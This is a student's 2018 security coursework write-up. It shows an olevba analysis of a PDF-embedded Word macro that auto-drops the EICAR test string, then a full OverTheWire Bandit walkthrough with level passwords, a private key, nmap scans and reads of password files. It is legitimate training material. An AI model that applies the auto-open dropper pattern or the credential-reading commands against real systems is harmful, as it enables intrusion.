CS5332 – 2018, Individual Assignment 1 Task 1

February 2018

PDF With Embedded DOC Dropping EICAR

Download & unzip

```
remnux@remnux:~/a01/1$ wget https://didierstevens.com/files/data/pdf-doc-vba-eicar-dropper.zip
--2018-02-17 11:10:44--  https://didierstevens.com/files/data/pdf-doc-vba-eicar-dropper.zip
Resolving didierstevens.com (didierstevens.com)... 96.126.103.196
Connecting to didierstevens.com (didierstevens.com)|96.126.103.196|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9921 (9.7K) [application/zip]
Saving to: ‘pdf-doc-vba-eicar-dropper.zip’

100%[=======================================================================================>] 9,921       --.-K/s

2018-02-17 11:10:45 (47.7 MB/s) - ‘pdf-doc-vba-eicar-dropper.zip’ saved [9921/9921]

remnux@remnux:~/a01/1$ unzip pdf-doc-vba-eicar-dropper.zip
Archive:  pdf-doc-vba-eicar-dropper.zip
[pdf-doc-vba-eicar-dropper.zip] pdf-doc-vba-eicar-dropper.pdf password:
  inflating: pdf-doc-vba-eicar-dropper.pdf
remnux@remnux:~/a01/1$ ls
pdf-doc-vba-eicar-dropper.pdf  pdf-doc-vba-eicar-dropper.zip
remnux@remnux:~/a01/1$ rm -f pdf-doc-vba-eicar-dropper.zip
remnux@remnux:~/a01/1$ mv pdf-doc-vba-eicar-dropper.pdf doc.pdf
```

Extract from PDF

```
remnux@remnux:~/a01/1$ pdfextract doc.pdf
Extracted 2 PDF streams to 'doc.dump/streams'.
Extracted 1 scripts to 'doc.dump/scripts'.
Extracted 1 attachments to 'doc.dump/attachments'.
Extracted 0 fonts to 'doc.dump/fonts'.
Extracted 0 images to 'doc.dump/images'.
remnux@remnux:~/a01/1$ ls doc.dump/attachments/
attached_eicar-dropper.doc
remnux@remnux:~/a01/1$ cp doc.dump/attachments/attached_eicar-dropper.doc doc.doc
```

Read VBA Macros

```
remnux@remnux:~/a01/1$ olevba.py doc.doc
olevba 0.27 - http://decalage.info/python/oletools
Flags       Filename
----------- -----------------------------------------------------------------
OLE:MAS---- doc.doc

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs,

===============================================================================
FILE: doc.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: doc.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: doc.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub AutoOpen()
    Dim sFilename As String
    Dim iFilenum As Integer
    Dim oFSO As Object

    iFilenum = FreeFile
    Set oFSO = CreateObject("Scripting.FileSystemObject")
    sFilename = Environ("temp") & "\" & oFSO.GetTempName

    Open sFilename For Binary Access Write As iFilenum
    Put iFilenum, , CByte(&H58)
    Put iFilenum, , CByte(&H35)
    Put iFilenum, , CByte(&H4F)
    Put iFilenum, , CByte(&H21)
    Put iFilenum, , CByte(&H50)
    Put iFilenum, , CByte(&H25)
    Put iFilenum, , CByte(&H40)
    Put iFilenum, , CByte(&H41)
    Put iFilenum, , CByte(&H50)
    Put iFilenum, , CByte(&H5B)
    Put iFilenum, , CByte(&H34)
    Put iFilenum, , CByte(&H5C)
    Put iFilenum, , CByte(&H50)
    Put iFilenum, , CByte(&H5A)
    Put iFilenum, , CByte(&H58)
    Put iFilenum, , CByte(&H35)
    Put iFilenum, , CByte(&H34)
    Put iFilenum, , CByte(&H28)
    Put iFilenum, , CByte(&H50)
    Put iFilenum, , CByte(&H5E)
    Put iFilenum, , CByte(&H29)
    Put iFilenum, , CByte(&H37)
    Put iFilenum, , CByte(&H43)
    Put iFilenum, , CByte(&H43)
    Put iFilenum, , CByte(&H29)
    Put iFilenum, , CByte(&H37)
    Put iFilenum, , CByte(&H7D)
    Put iFilenum, , CByte(&H24)
    Put iFilenum, , CByte(&H45)
    Put iFilenum, , CByte(&H49)
    Put iFilenum, , CByte(&H43)
    Put iFilenum, , CByte(&H41)
    Put iFilenum, , CByte(&H52)
    Put iFilenum, , CByte(&H2D)
    Put iFilenum, , CByte(&H53)
    Put iFilenum, , CByte(&H54)
    Put iFilenum, , CByte(&H41)
    Put iFilenum, , CByte(&H4E)
    Put iFilenum, , CByte(&H44)
    Put iFilenum, , CByte(&H41)
    Put iFilenum, , CByte(&H52)
    Put iFilenum, , CByte(&H44)
    Put iFilenum, , CByte(&H2D)
    Put iFilenum, , CByte(&H41)
    Put iFilenum, , CByte(&H4E)
    Put iFilenum, , CByte(&H54)
    Put iFilenum, , CByte(&H49)
    Put iFilenum, , CByte(&H56)
    Put iFilenum, , CByte(&H49)
    Put iFilenum, , CByte(&H52)
    Put iFilenum, , CByte(&H55)
    Put iFilenum, , CByte(&H53)
    Put iFilenum, , CByte(&H2D)
    Put iFilenum, , CByte(&H54)
    Put iFilenum, , CByte(&H45)
    Put iFilenum, , CByte(&H53)
    Put iFilenum, , CByte(&H54)
    Put iFilenum, , CByte(&H2D)
    Put iFilenum, , CByte(&H46)
    Put iFilenum, , CByte(&H49)
    Put iFilenum, , CByte(&H4C)
    Put iFilenum, , CByte(&H45)
    Put iFilenum, , CByte(&H21)
    Put iFilenum, , CByte(&H24)
    Put iFilenum, , CByte(&H48)
    Put iFilenum, , CByte(&H2B)
    Put iFilenum, , CByte(&H48)
    Put iFilenum, , CByte(&H2A)
    Close iFilenum

    MsgBox "EICAR test file written: " & sFilename
End Sub

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+--------------+-----------------------------------------+
| Type       | Keyword      | Description                             |
+------------+--------------+-----------------------------------------+
| AutoExec   | AutoOpen     | Runs when the Word document is opened   |
| Suspicious | Open         | May open a file                         |
| Suspicious | CreateObject | May create an OLE object                |
| Suspicious | Environ      | May read system environment variables   |
| Suspicious | Binary       | May read or write a binary file (if     |
|            |              | combined with Open)                     |
| Suspicious | Write        | May write to a file (if combined with   |
|            |              | Open)                                   |
| Suspicious | Put          | May write to a file (if combined with   |
|            |              | Open)                                   |
+------------+--------------+-----------------------------------------+
```

Deobfuscate

Taking the hex numbers between `CByte(&H` and `)` on each line:

```
> Buffer.from('58354F2150254041505B345C505A58353428505E2937434329377D2445494341522D5354414E444152442D414E544
'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
```

Which is the contents of the EICAR test file, which no antivirus should let pass, but pretty much all do.

CS5332 – 2018, Individual Assignment 1 Task 2

February 2018

Bandit Wargame Solution

Level 0

```
user@host:~$ ssh -q -p 2220 bandit0@bandit.labs.overthewire.org
bandit0@bandit:~$ ll
total 24
drwxr-xr-x  2 root    root    4096 Dec 28 14:34 ./
drwxr-xr-x 29 root    root    4096 Dec 28 14:34 ../
-rw-r--r--  1 root    root     220 Sep  1  2015 .bash_logout
-rw-r--r--  1 root    root    3771 Sep  1  2015 .bashrc
-rw-r--r--  1 root    root     655 Jun 24  2016 .profile
-rw-r-----  1 bandit1 bandit0   33 Dec 28 14:34 readme
bandit0@bandit:~$ cat readme
boJ9jbbUNNfktd78OOpsqOltutMc3MY1
```

Level 1

```
user@host:~$ ssh -q -p 2220 bandit1@bandit.labs.overthewire.org
bandit1@bandit:~$ ll
total 24
-rw-r-----  1 bandit2 bandit1   33 Dec 28 14:34 -
drwxr-xr-x  2 root    root    4096 Dec 28 14:34 ./
drwxr-xr-x 29 root    root    4096 Dec 28 14:34 ../
-rw-r--r--  1 root    root     220 Sep  1  2015 .bash_logout
-rw-r--r--  1 root    root    3771 Sep  1  2015 .bashrc
-rw-r--r--  1 root    root     655 Jun 24  2016 .profile
bandit1@bandit:~$ cat ./-
CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9
```

Level 2

```
user@host:~$ ssh -q -p 2220 bandit2@bandit.labs.overthewire.org
bandit2@bandit:~$ ll
total 24
drwxr-xr-x  2 root    root    4096 Dec 28 14:34 ./
drwxr-xr-x 29 root    root    4096 Dec 28 14:34 ../
-rw-r--r--  1 root    root     220 Sep  1  2015 .bash_logout
-rw-r--r--  1 root    root    3771 Sep  1  2015 .bashrc
-rw-r--r--  1 root    root     655 Jun 24  2016 .profile
-rw-r-----  1 bandit3 bandit2   33 Dec 28 14:34 spaces in this filename
bandit2@bandit:~$ cat "spaces in this filename"
UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK
```

Level 3

```
user@host:~$ ssh -q -p 2220 bandit3@bandit.labs.overthewire.org
bandit3@bandit:~$ ll
total 24
drwxr-xr-x  3 root root 4096 Dec 28 14:34 ./
drwxr-xr-x 29 root root 4096 Dec 28 14:34 ../
-rw-r--r--  1 root root  220 Sep  1  2015 .bash_logout
-rw-r--r--  1 root root 3771 Sep  1  2015 .bashrc
-rw-r--r--  1 root root  655 Jun 24  2016 .profile
drwxr-xr-x  2 root root 4096 Dec 28 14:34 inhere/
bandit3@bandit:~$ cat inhere/.hidden
pIwrPrtPN36QITSp3EQaw936yaFoFgAB
```

Level 4

```
user@host:~$ ssh -q -p 2220 bandit4@bandit.labs.overthewire.org
bandit4@bandit:~$ ll
total 24
drwxr-xr-x  3 root root 4096 Dec 28 14:34 ./
drwxr-xr-x 29 root root 4096 Dec 28 14:34 ../
-rw-r--r--  1 root root  220 Sep  1  2015 .bash_logout
-rw-r--r--  1 root root 3771 Sep  1  2015 .bashrc
-rw-r--r--  1 root root  655 Jun 24  2016 .profile
drwxr-xr-x  2 root root 4096 Dec 28 14:34 inhere/
bandit4@bandit:~$ cat inhere/-file0
cat: inhere/-file0: No such file or directory
bandit4@bandit:~$ cat inhere/-file0
-file00  -file01  -file02  -file03  -file04  -file05  -file06  -file07  -file08  -file09
bandit4@bandit:~$ ll inhere/
total 48
-rw-r----- 1 bandit5 bandit4   33 Dec 28 14:34 -file00
-rw-r----- 1 bandit5 bandit4   33 Dec 28 14:34 -file01
-rw-r----- 1 bandit5 bandit4   33 Dec 28 14:34 -file02
-rw-r----- 1 bandit5 bandit4   33 Dec 28 14:34 -file03
-rw-r----- 1 bandit5 bandit4   33 Dec 28 14:34 -file04
-rw-r----- 1 bandit5 bandit4   33 Dec 28 14:34 -file05
-rw-r----- 1 bandit5 bandit4   33 Dec 28 14:34 -file06
-rw-r----- 1 bandit5 bandit4   33 Dec 28 14:34 -file07
-rw-r----- 1 bandit5 bandit4   33 Dec 28 14:34 -file08
-rw-r----- 1 bandit5 bandit4   33 Dec 28 14:34 -file09
drwxr-xr-x 2 root    root    4096 Dec 28 14:34 ./
drwxr-xr-x 3 root    root    4096 Dec 28 14:34 ../
bandit4@bandit:~$ strings inhere/*
koReBOKuIDDepwhWk7jZC0RTdopnAYKh
~!\
=?G0
```

Level 5

```
user@host:~$ ssh -q -p 2220 bandit5@bandit.labs.overthewire.org
bandit5@bandit:~$ find ~ -size 1033c
/home/bandit5/inhere/maybehere07/.file2
bandit5@bandit:~$ cat inhere/maybehere07/.file2
DXjZPULLxYr17uwoI01bNLQbtFemEgo7
```

Level 6

```
user@host:~$ ssh -q -p 2220 bandit6@bandit.labs.overthewire.org
bandit6@bandit:~$ find / -group bandit6 -user bandit7 -size 33c 2>/dev/null | xargs cat
HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs
```

Level 7

```
user@host:~$ ssh -q -p 2220 bandit7@bandit.labs.overthewire.org
bandit7@bandit:~$ ( find / -name 'data\.txt' | xargs grep millionth ) 2>/dev/null
/home/bandit7/data.txt:millionth        cvX2JJa4CFALtqS87jk27qwqGhBM9plV
```

Level 8

```
user@host:~$ ssh -q -p 2220 bandit8@bandit.labs.overthewire.org
bandit8@bandit:~$ sort data.txt | uniq -u
UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR
```

Level 9

```
user@host:~$ ssh -q -p 2220 bandit9@bandit.labs.overthewire.org
bandit9@bandit:~$ strings data.txt | grep ===
========== theP`
========== password
L========== isA
========== truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk
```

Level 10

```
user@host:~$ ssh -q -p 2220 bandit10@bandit.labs.overthewire.org
bandit10@bandit:~$ base64 data.txt -d
The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR
```

Level 11

```
user@host:~$ ssh -q -p 2220 bandit11@bandit.labs.overthewire.org
bandit11@bandit:~$ cat data.txt | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu
```

Level 12

```
user@host:~$ ssh -q -p 2220 bandit12@bandit.labs.overthewire.org
bandit12@bandit:~$ dir=$(mktemp -d)
bandit12@bandit:~$ xxd -r data.txt $dir/raw
bandit12@bandit:~$ file $dir/raw
/tmp/tmp.Pr6PuoCdkT/raw: gzip compressed data, was "data2.bin", last modified: Thu Dec 28 13:34:36 2017, max
bandit12@bandit:~$ gzip -d $dir/raw
gzip: /tmp/tmp.Pr6PuoCdkT/raw: unknown suffix -- ignored
bandit12@bandit:~$ mv $dir/raw $dir/raw.gz
bandit12@bandit:~$ gzip -d $dir/raw.gz
bandit12@bandit:~$ file $dir/raw
/tmp/tmp.Pr6PuoCdkT/raw: bzip2 compressed data, block size = 900k
bandit12@bandit:~$ bzip2 -d $dir/raw
bzip2: Can't guess original name for /tmp/tmp.Pr6PuoCdkT/raw -- using /tmp/tmp.Pr6PuoCdkT/raw.out
bandit12@bandit:~$ file $dir/raw.out
/tmp/tmp.Pr6PuoCdkT/raw.out: gzip compressed data, was "data4.bin", last modified: Thu Dec 28 13:34:36 2017,
bandit12@bandit:~$ mv $dir/raw.out $dir/raw.gz
bandit12@bandit:~$ gzip -d $dir/raw.gz
bandit12@bandit:~$ file $dir/raw
/tmp/tmp.Pr6PuoCdkT/raw: POSIX tar archive (GNU)
bandit12@bandit:~$ tar -xvf $dir/raw -C $dir/
data5.bin
bandit12@bandit:~$ file $dir/data5.bin
/tmp/tmp.Pr6PuoCdkT/data5.bin: POSIX tar archive (GNU)
bandit12@bandit:~$ tar -xvf $dir/data5.bin -C $dir/
data6.bin
bandit12@bandit:~$ file $dir/data6.bin
/tmp/tmp.Pr6PuoCdkT/data6.bin: bzip2 compressed data, block size = 900k
bandit12@bandit:~$ bzip2 -d $dir/data6.bin
bzip2: Can't guess original name for /tmp/tmp.Pr6PuoCdkT/data6.bin -- using /tmp/tmp.Pr6PuoCdkT/data6.bin.ou
bandit12@bandit:~$ file $dir/data6.bin.out
/tmp/tmp.Pr6PuoCdkT/data6.bin.out: POSIX tar archive (GNU)
bandit12@bandit:~$ tar -xvf $dir/data6.bin.out -C $dir/
data8.bin
bandit12@bandit:~$ file $dir/data8.bin
/tmp/tmp.Pr6PuoCdkT/data8.bin: gzip compressed data, was "data9.bin", last modified: Thu Dec 28 13:34:36 201
bandit12@bandit:~$ mv $dir/data8.bin $dir/raw.gz
bandit12@bandit:~$ gzip -d $dir/raw.gz
gzip: /tmp/tmp.Pr6PuoCdkT/raw already exists; do you wish to overwrite (y or n)? y
bandit12@bandit:~$ file $dir/raw
/tmp/tmp.Pr6PuoCdkT/raw: ASCII text
bandit12@bandit:~$ cat $dir/raw
The password is 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL
user@host:~$ rsync -e 'ssh -q -p 2220' bandit13@bandit.labs.overthewire.org:~/sshkey.private ./delete_me
```

Level 14

```
user@host:~$ ssh -q -p 2220 bandit14@bandit.labs.overthewire.org -i ./delete_me
bandit14@bandit:~$ cat /etc/bandit_pass/bandit14 | netcat localhost 30000
Correct!
BfMYroe26WYalil77FoDi9qh59eK5xNr
```

Level 15

```
user@host:~$ ssh -q -p 2220 bandit15@bandit.labs.overthewire.org
bandit15@bandit:~$ cat /etc/bandit_pass/bandit15 | openssl s_client -connect localhost:30001 -ign_eof
CONNECTED(00000003)
depth=0 CN = bandit
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = bandit
verify return:1
---
Certificate chain
 0 s:/CN=bandit
   i:/CN=bandit
---
Server certificate
-----BEGIN CERTIFICATE-----
MIICsjCCAZqgAwIBAgIJAKZI1xYeoXFuMA0GCSqGSIb3DQEBCwUAMBExDzANBgNV
BAMMBmJhbmRpdDAeFw0xNzEyMjgxMzIzNDBaFw0yNzEyMjYxMzIzNDBaMBExDzAN
BgNVBAMMBmJhbmRpdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOcX
ruVcnQUBeHJeNpSYayQExCJmcHzSCktnOnF/H4efWzxvLRWt5z4gYaKvTC9ixLrb
K7a255GEaUbP/NVFpB/sn56uJc1ijz8u0hWQ3DwVe5ZrHUkNzAuvC2OeQgh2HanV
5LwB1nmRZn90PG1puKxktMjXsGY7f9Yvx1/yVnZqu2Ev2uDA0RXij/T+hEqgDMI7
y4ZFmuYD8z4b2kAUwj7RHh9LUKXKQlO+Pn8hchdR/4IK+Xc4+GFOin0XdQdUJaBD
8quOUma424ejF5aB6QCSE82MmHlLBO2tzC9yKv8L8w+fUeQFECH1WfPC56GcAq3U
IvgdjGrU/7EKN5XkONcCAwEAAaMNMAswCQYDVROTBAIwADANBgkqhkiG9w0BAQsF
AAOCAQEAnrOty7WAOpDGhuu0V8FqPoKNwFrqGuQCTeqhQ9LPObFNhuH34pZ0JFsH
L+Y/q4Um7+66mNJUFpMDykm51xLY2Y4oDNCzugy+fm5Q0EWKRwrq+hIM+5hs0RdC
nARP+719ddmUiXF7r7IVP2gK+xqpa8+YcYnLuoXEtpKkrrQCCUiqabltU5yRMR77
3wqB54txrB4IhwnXqp023kTuRNrkG+JqDUkaVpvct+FAdT3PODMONP/oHII3SH9i
ar/rI9k+4hjlg4NqOoduxX9M+iLJ0Zgj6HAg3EQVn4NHsgmuTgmknbhqTU3o4IwB
XFnxdxVy0ImGYtvmnZDQCGivDok6jA==
-----END CERTIFICATE-----
subject=/CN=bandit
issuer=/CN=bandit
---
No client certificate CA names sent
---
SSL handshake has read 1015 bytes and written 631 bytes
---
New, TLSv1/SSLv3, Cipher is AES128-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
    Protocol  : TLSv1
    Cipher    : AES128-SHA
    Session-ID: 38A173B1286CABFA49E7FF49FE1A8FCF3173D9005872DB8E3512E5E20D74AE4F
    Session-ID-ctx:
    Master-Key: A4F7CDDD9B4E388D5D307DF9C51960A53695EAFB5FCCBB51B37312835819D1E616639FBDD578BB4D60F4F1BD5ACF
    Key-Arg   : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 7200 (seconds)
    TLS session ticket:
    0000 - 29 a6 28 17 9b 5c 28 7b-85 c9 28 dc 8e 75 2f 22   ).(..\({..(..u/"
    0010 - 2c ee 27 ea 81 7e 14 57-2a 23 da 7c e2 66 5b df   ,.'..~.W*#.|.f[.
    0020 - db 72 0a 85 79 c1 ba 90-99 55 9b 17 d0 09 4c 7d   .r..y....U....L}
    0030 - b6 d0 b7 51 f1 f5 62 13-a9 01 c2 28 0b 41 66 54   ...Q..b....(.AfT
    0040 - ea 4d e4 70 f7 b6 23 33-d3 5c eb 8d d3 9a 63 60   .M.p..#3.\....c`
    0050 - fd 93 f3 f9 7d 95 8c b3-14 46 ea 3d 67 af ae 35   ....}....F.=g..5
    0060 - 04 2b a6 12 62 ff 06 42-57 df df de 1e b0 e2 15   .+..b..BW.......
    0070 - b1 74 47 11 66 00 64 6a-73 49 3b 8d b8 7a fa bb   .tG.f.djsI;..z..
    0080 - 25 19 c2 17 ee 78 5d a1-56 79 05 67 33 9f b5 27   %....x].Vy.g3..'
    0090 - a6 f5 c9 3b 22 d7 20 31-94 9e eb 5a 44 c6 4e 71   ...;". 1...ZD.Nq

    Start Time: 1518932583
    Timeout   : 300 (sec)
    Verify return code: 18 (self signed certificate)
---
Correct!
cluFn7wTiGryunymYOu4RcffSxQluehd

closed
```

Level 16

```
user@host:~$ ssh -q -p 2220 bandit16@bandit.labs.overthewire.org
bandit16@bandit:~$ nmap -sV --version-light -p 31000-32000 localhost | grep -P "\d+(?=\/tcp.*ssl)
" -o
31518
31790
bandit16@bandit:~$ cat /etc/bandit_pass/bandit16 | openssl s_client -connect localhost:31790 -ign_eof
CONNECTED(00000003)
depth=0 CN = bandit
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = bandit
verify return:1
---
Certificate chain
 0 s:/CN=bandit
   i:/CN=bandit
---
Server certificate
-----BEGIN CERTIFICATE-----
MIICsjCCAZqgAwIBAgIJAKZI1xYeoXFuMA0GCSqGSIb3DQEBCwUAMBExDzANBgNV
BAMMBmJhbmRpdDAeFw0xNzEyMjgxMzIzNDBaFw0yNzEyMjYxMzIzNDBaMBExDzAN
BgNVBAMMBmJhbmRpdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOcX
ruVcnQUBeHJeNpSYayQExCJmcHzSCktnOnF/H4efWzxvLRWt5z4gYaKvTC9ixLrb
K7a255GEaUbP/NVFpB/sn56uJc1ijz8u0hWQ3DwVe5ZrHUkNzAuvC2OeQgh2HanV
5LwB1nmRZn90PG1puKxktMjXsGY7f9Yvx1/yVnZqu2Ev2uDA0RXij/T+hEqgDMI7
y4ZFmuYD8z4b2kAUwj7RHh9LUKXKQlO+Pn8hchdR/4IK+Xc4+GFOin0XdQdUJaBD
8quOUma424ejF5aB6QCSE82MmHlLBO2tzC9yKv8L8w+fUeQFECH1WfPC56GcAq3U
IvgdjGrU/7EKN5XkONcCAwEAAaMNMAswCQYDVROTBAIwADANBgkqhkiG9w0BAQsF
AAOCAQEAnrOty7WAOpDGhuu0V8FqPoKNwFrqGuQCTeqhQ9LPObFNhuH34pZ0JFsH
L+Y/q4Um7+66mNJUFpMDykm51xLY2Y4oDNCzugy+fm5Q0EWKRwrq+hIM+5hs0RdC
nARP+719ddmUiXF7r7IVP2gK+xqpa8+YcYnLuoXEtpKkrrQCCUiqabltU5yRMR77
3wqB54txrB4IhwnXqp023kTuRNrkG+JqDUkaVpvct+FAdT3PODMONP/oHII3SH9i
ar/rI9k+4hjlg4NqOoduxX9M+iLJ0Zgj6HAg3EQVn4NHsgmuTgmknbhqTU3o4IwB
XFnxdxVy0ImGYtvmnZDQCGivDok6jA==
-----END CERTIFICATE-----
subject=/CN=bandit
issuer=/CN=bandit
---
No client certificate CA names sent
---
SSL handshake has read 1015 bytes and written 631 bytes
---
New, TLSv1/SSLv3, Cipher is AES128-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
    Protocol  : TLSv1
    Cipher    : AES128-SHA
    Session-ID: 5029FB9ED20397887A93D45D7546DAE0053DA00C995C4553A193585BD774E421
    Session-ID-ctx:
    Master-Key: 63C7424EBE46B0AAA129FD7E19FF14AED9F375E718CC9C488EFC437BD6D30E94597DD2D45767DAE53CDAD2815F19
    Key-Arg   : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 7200 (seconds)
    TLS session ticket:
    0000 - a7 97 10 51 74 3a 97 0d-50 e4 8d 1c 5e 9c dc fa   ...Qt:..P...^...
    0010 - 5e 3a c6 21 bc 47 69 e9-3e d0 60 b0 b1 b4 4f 67   ^:.!.Gi.>.`...Og
    0020 - a3 c9 6d 4f 77 04 f6 5a-05 d6 70 a5 a1 bd 81 03   ..mOw..Z..p.....
    0030 - 81 24 e8 2b e4 17 43 e6-c1 42 70 24 8c cc e2 08   .$.+..C..Bp$....
    0040 - c6 64 aa 7a 6d b4 9f a0-5b 76 42 3b ee fd c4 ef   .d.zm...[vB;....
    0050 - 65 4c ad a8 5e 9f ad ca-21 11 fb fe f1 2e c7 91   eL..^...!.......
    0060 - 7d 84 a0 52 64 f6 ea d5-39 f1 1a 9d 15 ef 9c 1e   }..Rd...9.......
    0070 - 7d 6c 1e 81 3e fe 8a af-e7 b3 be fc d5 9e f5 d3   }l..>...........
    0080 - e8 84 6d be 9a 5a b7 16-08 eb b3 54 6e 86 81 20   ..m..Z.....Tn..
    0090 - c8 20 d5 c9 17 e1 cf 6d-5e 39 38 8e 4b f9 d7 95   . .....m^98.K...

    Start Time: 1518934390
    Timeout   : 300 (sec)
    Verify return code: 18 (self signed certificate)
---
Correct!
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl104f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----

closed
```

Level 17

```
user@host:~$ ssh -q -p 2220 bandit17@bandit.labs.overthewire.org -i ./delete_me
bandit17@bandit:~$ grep -v -f passwords.old passwords.new
kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
```

Level 18

```
user@host:~$ ssh -q -p 2220 bandit18@bandit.labs.overthewire.org cat readme
bandit18@bandit.labs.overthewire.org's password:
IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x
```

Level 19

```
user@host:~$ ssh -q -p 2220 bandit19@bandit.labs.overthewire.org
bandit19@bandit:~$ ll
total 28
drwxr-xr-x  2 root     root     4096 Dec 28 14:34 ./
drwxr-xr-x 29 root     root     4096 Dec 28 14:34 ../
-rw-r--r--  1 root     root      220 Sep  1  2015 .bash_logout
-rw-r--r--  1 root     root     3771 Sep  1  2015 .bashrc
-rw-r--r--  1 root     root      655 Jun 24  2016 .profile
-rwsr-x---  1 bandit20 bandit19 7408 Dec 28 14:34 bandit20-do*
bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
```

Level 20

```
user@host:~$ ssh -q -p 2220 bandit20@bandit.labs.overthewire.org
bandit20@bandit:~$ ( cat /etc/bandit_pass/bandit20 | nc -l 32324 ) &
[2] 9276
bandit20@bandit:~$ ./suconnect 32324
Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Password matches, sending next password
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr
```

Level 21

```
user@host:~$ ssh -q -p 2220 bandit21@bandit.labs.overthewire.org
bandit21@bandit:~$ ll /etc/cron.d/
total 28
drwxr-xr-x   2 root root 4096 Dec 28 14:34 ./
drwxr-xr-x 100 root root 4096 Feb  7 23:18 ../
-rw-r--r--   1 root root  102 Apr  5  2016 .placeholder
-rw-r--r--   1 root root  120 Dec 28 14:34 cronjob_bandit22
-rw-r--r--   1 root root  122 Dec 28 14:34 cronjob_bandit23
-rw-r--r--   1 root root  120 Dec 28 14:34 cronjob_bandit24
-rw-r--r--   1 root root  190 Oct 31 13:21 popularity-contest
bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
